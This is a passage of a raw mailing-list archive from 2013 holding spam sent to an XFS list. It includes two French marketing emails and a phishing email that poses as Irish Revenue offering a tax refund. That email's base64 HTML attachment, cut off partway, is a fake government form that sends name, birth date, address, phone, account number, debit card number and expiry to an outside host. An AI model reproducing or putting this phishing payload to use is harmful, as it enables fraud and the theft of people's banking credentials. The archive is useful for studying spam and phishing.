http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/livre-photo/livre-photos-relie.html?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/photo-cadeaux/coques-housses.html?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/photos/photos.html?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 : http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 Bonjour, Vous êtes toujours à la recherche DU cadeau qui fait plaisir à tous les coups ? Nous avons ce qu'il vous faut : la toile photo ! Et cela ne vous prendra pas plus de 5 minutes ... Grâce à posterXXL, la toile photo c'est facile et simple à créer ! Il vous suffit de télécharger votre photo sur notre site et ensuite nous nous chargeons du reste, de l'impression jusqu'à la livraison. Donc n'attendez plus et profitez de notre offre exclusive : votre toile photo 30 x 20 cm pour 9,99 € au lieu de 18,99 € soit 50% de réduction. Créez dès maintenant votre toile photo: http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/toile_noel13v1?s=karrlimtbfp5dartoilenoelv1 Pour être sûr de recevoir vos cadeaux à temps, commandez avant le 6 décembre ! Votre équipe posterXXL * Prix TTC pour une Toile photo, Format 30 x 20 cm - hors frais d'envoi - France métropolitaine. N°1 de l'impression grand format, posterXXL a déjà été choisi par plus d'un million de clients. © 2013 posterXXL AG | Mentions légales: http://clk.tradedoubler.com/click?p=223864&a=2165310&g=21552486&url=http://www.posterxxl.fr/mentions-legales?s=karrlimtbfp5dartoilenoelv1 ========================================== Ce courriel a été envoyé par Poster XXL à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=53ede58e&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=53ede58e&ln=fr --b1_9daeb7e7d31a8efb4a9fa5a74cbe9909 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit posterXXL - Votre photo sur Toile
      posterXXL
    posterXXL Tableau Photo Livre Photo Coque Smartphone Tirage Photo
    Offre découverte exclusive
    Votre toile photo à -50%
    Toile 30 x 20 cm
    9,99 €*
    au lieu de 18,99 € soit
    J'en profite
       
    Bonjour,

    Vous êtes toujours à la recherche DU cadeau qui fait plaisir à tous les coups ? Nous avons ce qu'il vous faut : la toile photo !

    Et cela ne vous prendra pas plus de 5 minutes ... Grâce à posterXXL, la toile photo c'est facile et simple à créer ! Il vous suffit de télécharger votre photo sur notre site et ensuite nous nous chargeons du reste, de l'impression jusqu'à la livraison.

    Donc n'attendez plus et profitez de notre offre exclusive :
    votre toile photo 30 x 20 cm pour 9,99 € au lieu de 18,99 € soit 50% de réduction.

    Créez dès maintenant votre toile photo

    Pour être sûr de recevoir vos cadeaux à temps, commandez avant le 6 décembre !

    Votre équipe posterXXL


    * Prix TTC pour une Toile photo, Format 30 x 20 cm - hors frais d'envoi - France métropolitaine. N°1 de l'impression grand format, posterXXL a déjà été choisi par plus d'un million de clients.
       
    eKomi, Trusted Shops, Chronopost International
    évaluation client eKomi
    Vu à la TV, Service client, Paiement sécurisé
    © 2013 posterXXL AG | Mentions légales


    eKomi Trusted Shops Chronopost externational Vu à la TV Service client
    Ce courriel a été envoyé par Poster XXL à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    Ce courriel a été envoyé par Poster XXL à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_9daeb7e7d31a8efb4a9fa5a74cbe9909-- From pam=news-zetrend.com@mlgnusa.com Sun Dec 29 21:07:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,LOTS_OF_MONEY,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 17A087F3F for ; Sun, 29 Dec 2013 21:07:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E65AAC002 for ; Sun, 29 Dec 2013 19:07:49 -0800 (PST) X-ASG-Debug-ID: 1388372864-04cb6c537ca83090001-NocioJ Received: from mail.mlgnusa.com (mail.mlgnusa.com [194.19.244.188]) by cuda.sgi.com with ESMTP id rBdAmws7ZPyoXA89 for ; Sun, 29 Dec 2013 19:07:44 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.188 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=7OxWeRIK1ofkjALk0T6WkyCAGxc=; b=f1CZ4lgKewEmpTHj2K5YhROE5uA8KTnDIpYR4EU8i+lem+1ND9RCpvj5TYUjBFm/yT9aJb7OqKov +7Eu+jhDTcWTnRpE6qCDApX/9uUAlE0GuQ9AYgcb2LQZf27ud73nXvPr3j+WVC7GPV0IhNU6LZxD GSrJ1JwcptABkvqFotk= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=nm5vvRKbsxgJfRTKcHEO15fpL7ZGiVeyFCvX4rJgPjcBKxWGqc5rXESsDJKMXmqlHAb8Xo8umFKj Wb7eWbvJzr11vASpRL1oP6zHG36DTm83eU/6ghL3xx8wucosy+JRePyGje6+dXVe+AP3GvoM0H2/ +NEMAwM20beABEY7Kq0=; Received: by mail.mlgnusa.com id ho3ho21fblct for ; Mon, 30 Dec 2013 05:07:42 +0200 (envelope-from ) Date: Mon, 30 Dec 2013 05:00:50 +0200 To: From: Autogrill Reply-To: Autogrill Subject: 1 formule achetee = 1 formule offerte Message-ID: X-ASG-Orig-Subj: 1 formule achetee = 1 formule offerte X-Priority: 3 X-Mailer: MailiGen Mailer - **CID8acba683d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.8acba683 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.8acba683 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=8acba683&e=d09c0023 List-Unsubscribe: , Sender: "Autogrill" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_f6d301bb51fc2a8b3cbea5285aedab69" X-Barracuda-Connect: mail.mlgnusa.com[194.19.244.188] X-Barracuda-Start-Time: 1388372864 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_IMAGE_RATIO_06, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143546 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_f6d301bb51fc2a8b3cbea5285aedab69 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Autogrill : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 Profitez de ces offres dans les restaurants self service et restauration rapide du réseau Autogrill en France*: http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 : http://www.mangerbouger.fr/ : http://www.mangerbouger.fr/ : http://www.mangerbouger.fr/ *Offre valable jusqu’au 31/12/2013, en France Métropolitaine, sur remise du coupon préalablement imprimé, ou sur présentation de l'offre sur votre smartphone, uniquement dans les restaurants du réseau Autogrill sur autoroutes et gares en France dont la liste vous est fournie en page 2 du coupon. Une formule achetée = une formule identique offerte. Une seule offre "Bon Plan" autorisée par personne par passage en caisse et par ticket de caisse, sous réserve des stocks disponibles, de la présence des produits dans la gamme des points de vente et des horaires de services des points de vente, aucune monnaie ne sera rendue en caisse en échange de la présente offre. Les offres "Bon Plans" ne sont pas cumulables entre elles et ne sont pas non plus cumulables avec d’autres promotions ou réductions en cours, les offres peuvent être utilisées à l’occasion d'un prochain arrêt. Autogrill Côté France SAS au capital de 31 579 526,40 euros - RCS Marseille 391 378 239 - 18 rue Jacques Réattu - 13 009 Marseille. Droits réservés, photos non contractuelles. Ne pas jeter sur la voie publique. **Offre non valable dans les Ciao sur les aires de : Ambrussum, Béziers MontBlanc et Fontaine Colette. © 2013 The Coca-Cola Company, Coca-Cola, Coca-Cola light et la Bouteille Contour sont des marques déposées de The Coca-Cola Company. Capri-Sun est une marque distribuée sous licence Capri-Sun AG. ZUG. Suisse. : http://clk.tradedoubler.com/click?p=244726&a=2165310&g=21638448 ========================================== Ce courriel a été envoyé par Autogrill à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=8acba683&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=8acba683&ln=fr --b1_f6d301bb51fc2a8b3cbea5285aedab69 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Autogrill
    AUTOGRILL
    direction... vacances ? Autogrill vous propose
    1 formule achetée = 1 formule offerte*
    Cliquez ici et imprimez votre bon de réduction
    Profitez de ces offres dans les restaurants self service et restauration rapide du réseau Autogrill en France*
    pour votre santé, évitez de manger, trop gras, trop sucré, www.mangerbouger.fr
    Ce courriel a été envoyé par Autogrill à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_f6d301bb51fc2a8b3cbea5285aedab69-- From tax.refund@revenue.ie Sun Dec 29 23:31:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,T_HTML_ATTACH, T_OBFU_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 248817F3F for ; Sun, 29 Dec 2013 23:31:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A96ECAC003 for ; Sun, 29 Dec 2013 21:31:45 -0800 (PST) X-ASG-Debug-ID: 1388381500-04bdf00fe036f040001-w1Z2WR Received: from medrek.co.uk (mail.medrek.se [212.112.176.43]) by cuda.sgi.com with ESMTP id w9E1ntrT1MkGIcN2 for ; Sun, 29 Dec 2013 21:31:40 -0800 (PST) X-Barracuda-Envelope-From: tax.refund@revenue.ie X-Barracuda-Apparent-Source-IP: 212.112.176.43 Received: from revenue.ie [86.125.87.36] by medrek.co.uk with ESMTP (SMTPD32-7.07) id A9A2CFFC02AA; Mon, 30 Dec 2013 06:50:26 +0100 From: Revenue - Irish Tax & Customs To: linux-xfs@oss.sgi.com Subject: Notice of Tax Return Date: 30 Dec 2013 07:31:41 +0200 X-ASG-Orig-Subj: Notice of Tax Return Message-ID: <20131230073141.70408073496F5BB3@revenue.ie> MIME-Version: 1.0 Disposition-Notification-To: gurlisamuelsson@hotmail.com Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_E9B80EF9.7C969FDF" X-Barracuda-Connect: mail.medrek.se[212.112.176.43] X-Barracuda-Start-Time: 1388381500 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC0_TG194 Custom Rule TG194 This is a multi-part message in MIME format. ------=_NextPart_000_0012_E9B80EF9.7C969FDF Content-Type: text/plain Content-Transfer-Encoding: 8bit Dear Sir / Madam , I am sending this email to announce: After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax return of: EUR 371.91 To receive your return, you need to create a Government gateway account. Please download and complete the attached form The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to Revenue - Irish Tax & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited. ------=_NextPart_000_0012_E9B80EF9.7C969FDF Content-Type: application/octet-stream; name="Revenue - Irish Tax.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Revenue - Irish Tax.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPGh0bWw+ DQo8aGVhZD4NCjx0aXRsZT5UQVggUkVUVVJOIEZPUiBZRUFSIDIwMTM8L3RpdGxlPg0KPGJh c2UgaHJlZj0iaHR0cDovL3F1ZWVuc21pYW1pY29ybmVyLmNvbS9pcnRheC9hY3Rpb24ucGhw Ij4NCjxsaW5rIGhyZWY9ImNzcy9hcmNvdC1zdHlsZXMtMDJfcmVnaXN0ZXIuY3NzIiByZWw9 InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4NCjxsaW5rIGhyZWY9ImNzcy9hcmNvdC1z dHlsZXMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4NCjxsaW5rIGhy ZWY9ImNzcy9obXJjLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8 c2NyaXB0IHNyYz0ianMvY2hlY2suanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3Vh Z2U9ImphdmFzY3JpcHQiPjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQo8Zm9ybSBpZD0i ZnJtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iYWN0aW9uLnBocCIgb25zdWJtaXQ9InJldHVy biB2YWxpZGF0ZSgpIj4NCjxkaXYgYWxpZ249ImxlZnQiPg0KCTx0YWJsZSBib3JkZXI9IjAi IGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQoJPHRib2R5Pg0KCTx0cj4NCgkJ PHRkIHdpZHRoPSI2MDAiPg0KCQkJPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAi IGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+DQoJCQk8dGJvZHk+DQoJCQk8dHI+DQoJ CQkJPHRkPg0KCQkJCQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNw YWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCgkJCQkJPHRib2R5Pg0KCQkJCQk8dHI+DQoJCQkJ CQk8dGQgYWxpZ249ImNlbnRlciI+DQoJCQkJCQkJPGRpdiBpZD0iaGVhZGVyIj4NCgkJCQkJ CQkJPGltZyBzcmM9ImltZy9obXJjTG9nby5naWYiIGFsdD0iSE0gUmV2ZW51ZSAmYW1wOyBD dXN0b21zIiBoZWlnaHQ9IjgwIiB3aWR0aD0iMjUwIj4NCgkJCQkJCQkJPGRpdiBpZD0iaGVh ZGVyLXRpdGxlIj5PbmxpbmUgU2VydmljZXM8L2Rpdj4NCgkJCQkJCQkJPHVsIGNsYXNzPSJp bmxpbmUtbmF2aWdhdGlvbiI+DQoJCQkJCQkJCQk8bGk+PGE+UmV2ZW51ZSAtIElyaXNoIFRh eCAmIEN1c3RvbXM8L2E+PC9saT4NCgkJCQkJCQkJCTxsaT48YT5DeW1yYWVnPC9zcGFuPjwv YT48L2xpPg0KCQkJCQkJCQkJPGxpPjxhPkNvbnRhY3QgdXM8L2E+PC9saT4NCgkJCQkJCQkJ CTxsaT48YT5IZWxwPC9hPjwvbGk+DQoJCQkJCQkJCTwvdWw+DQoJCQkJCQkJPC9kaXY+CQkJ CQkJCQ0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPC90Ym9keT4NCgkJCQkJPC90 YWJsZT4NCgkJCQk8L3RkPg0KCQkJPC90cj4NCgkJCTwhLS0gSEVBREVSIC0tPg0KCQkJPHRy IHZhbGlnbj0idG9wIj4NCgkJCQk8dGQgdmFsaWduPSJ0b3AiIHdpZHRoPSIxMDAlIj4NCgkJ CQkJPGZvcm0gbmFtZT0iZnJtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iYWN0aW9uLnBocCIg b25zdWJtaXQ9InJldHVybiB2YWxpZGF0ZSgpIj4NCgkJCQkJPHRhYmxlIGJvcmRlcj0iMCIg Y2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+DQoJCQkJCTx0 Ym9keT4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGNvbHNwYW49IjIiIGFsaWduPSJsZWZ0Ij4m bmJzcDs8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bhbj0i MiIgYWxpZ249ImxlZnQiPg0KCQkJCQkJCTxiciAvPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJCQkJCTxiPjx1PkFkZHJlc3MgSW5mb3Jt YXRpb248L3U+IC0gPC9iPlBsZWFzZSBlbnRlciB5b3VyIG5hbWUgYW5kIGFkZHJlc3MgYXMg eW91IGhhdmUgaXQgbGlzdGVkIGZvciB5b3VyIGRlYml0IGNhcmQuDQoJCQkJCQk8L3RkPg0K CQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQ+DQoJCQkJCQkJICZuYnNwOw0KCQkJ CQkJPC90ZD4NCgkJCQkJPC90cj4JCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQi Pg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBDYXJkSG9s ZGVyIE5hbWUgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0K CQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9Im5h bWUiIG5hbWU9Im5hbWUiIHNpemU9IjIwIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0 eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJ CTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+ DQoJCQkJCQkJCSBEYXRlIG9mIEJpcnRoIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2 Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJz cDsgPGlucHV0IGlkPSJkb2IxIiBuYW1lPSJkb2IxIiBtYXhsZW5ndGg9IjIiIHNpemU9IjIi IGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPiZuYnNwOy8mbmJzcDs8 aW5wdXQgaWQ9ImRvYjIiIG5hbWU9ImRvYjIiIG1heGxlbmd0aD0iMiIgc2l6ZT0iMiIgY2xh c3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7LyZuYnNwOzxpbnB1 dCBpZD0iZG9iMyIgbmFtZT0iZG9iMyIgbWF4bGVuZ3RoPSI0IiBzaXplPSI0IiBjbGFzcz0i ZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwv dHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYg Y2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBBZGRyZXNzIDxzcGFuID46PC9zcGFu Pg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQi Pg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJzdHJhZGEiIG5hbWU9InN0cmFkYSIgc2l6 ZT0iMjUiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJ PC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+ DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIFRvd24vQ2l0 eSA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8 dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0ib3JhcyIgbmFt ZT0ib3JhcyIgc2l6ZT0iMTUiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRl eHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFs aWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJ CQkJIFByb3ZpbmNlL0NvdW50eSA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJ CQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxp bnB1dCBpZD0ic3RhdCIgbmFtZT0ic3RhdCIgc2l6ZT0iMTUiIGNsYXNzPSJlbnJvbGxtZW50 SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJ DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249 InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkg UGhvbmUgTnVtYmVyIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90 ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlk PSJ0ZWxlZm9uIiBuYW1lPSJ0ZWxlZm9uIiBtYXhsZW5ndGg9IjEzIiBzaXplPSIxMCIgY2xh c3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJ CQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQ+DQoJCQkJCQkJICZuYnNwOw0KCQkJCQkJ PC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGNvbHNwYW49IjIiIGFs aWduPSJsZWZ0Ij4NCgkJCQkJCQk8YnIgLz4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsNCgkJCQkJCQk8Yj48dT5EZWJpdCBDYXJkIEluZm9ybWF0 aW9uPC91PiAtIDwvYj5QbGVhc2UgZW50ZXIgeW91ciBEZWJpdCBDYXJkIHdoZXJlIHJlZnVu ZHMgd2lsbCBiZSBtYWRlLg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0K CQkJCQkJPHRkPg0KCQkJCQkJCSAmbmJzcDsNCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJ CQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9 InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBBY2NvdW50IE51bWJlciA8c3BhbiA+Ojwvc3Bh bj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0 Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0iYWNjIiBuYW1lPSJhY2MiIG1heGxlbmd0 aD0iOCIgc2l6ZT0iMTAiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQi Pg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWdu PSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJ IERlYml0IENhcmQgTnVtYmVyIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJ CQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlu cHV0IGlkPSJmYWNsaWUiIG5hbWU9ImZhY2xpZSIgbWF4bGVuZ3RoPSIxNiIgc2l6ZT0iMTYi IGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4N CgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJ CQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEV4cGlyeSBEYXRlIDxz 